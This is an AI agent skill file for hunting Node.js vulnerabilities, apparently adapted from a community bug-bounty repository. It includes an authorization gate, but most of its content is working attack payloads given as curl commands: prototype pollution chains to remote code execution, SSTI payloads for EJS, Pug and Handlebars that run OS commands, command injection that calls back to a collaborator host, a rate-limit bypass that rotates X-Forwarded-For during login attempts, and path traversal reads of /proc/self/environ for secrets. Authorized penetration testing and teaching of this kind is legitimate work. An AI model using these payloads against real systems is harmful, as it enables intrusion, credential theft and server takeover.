---

name: hunt-nodejs description: Hunt Node.js specific vulnerabilities category: security risk: offensive source: https://github.com/elementalsouls/Claude-BugHunter source_repo: elementalsouls/Claude-BugHunter source_type: community date_added: '2026-09-20' license: MIT license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE compatibility: Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled. sources: hackerone_public, snyk_research, portswigger_research report_count: 24

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

• Prototype Pollution → RCE — __proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
• Express trust proxy — app.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
• EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
• child_process injection — user input interpolated into shell command string → OS command injection
• require() path traversal — attacker-controlled module path → load arbitrary file as JS

---

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

---

Phase 1 — Fingerprint

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

---

Phase 2 — Prototype Pollution Detection

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

---

Phase 3 — Prototype Pollution → RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

---

Phase 4 — Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"admin@test.com","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

---

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

---

Phase 6 — child_process Command Injection

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

---

Phase 7 — /proc/self/environ Exfil

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

---

Chain Table

Node.js finding	Chain to	Impact
Prototype pollution confirmed	Find RCE sink (child_process, eval)	Critical RCE
Express trust proxy	Bypass IP allowlist / rate limit	Auth bypass / DoS bypass
SSTI in template engine	OS command execution	Critical RCE
child_process injection	id && curl COLLAB_HOST	Critical RCE
/proc/self/environ via LFI	AWS_ACCESS_KEY_ID leaked	Cloud compromise

---

Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent ✅ RCE chain: OOB callback received OR id output in response ✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

• Prototype pollution → RCE: Critical
• SSTI → RCE: Critical
• child_process injection: Critical
• Trust proxy → rate limit bypass: Medium
• /proc/self/environ exfil: High (if cloud keys present)

When to Use

• You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
• You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.

Limitations

• Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
• Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
• Validate every finding (see triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.

Example

# Read-only first step; confirm scope before anything active.
cat scope.txt  # target list from the authorized engagement brief

Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.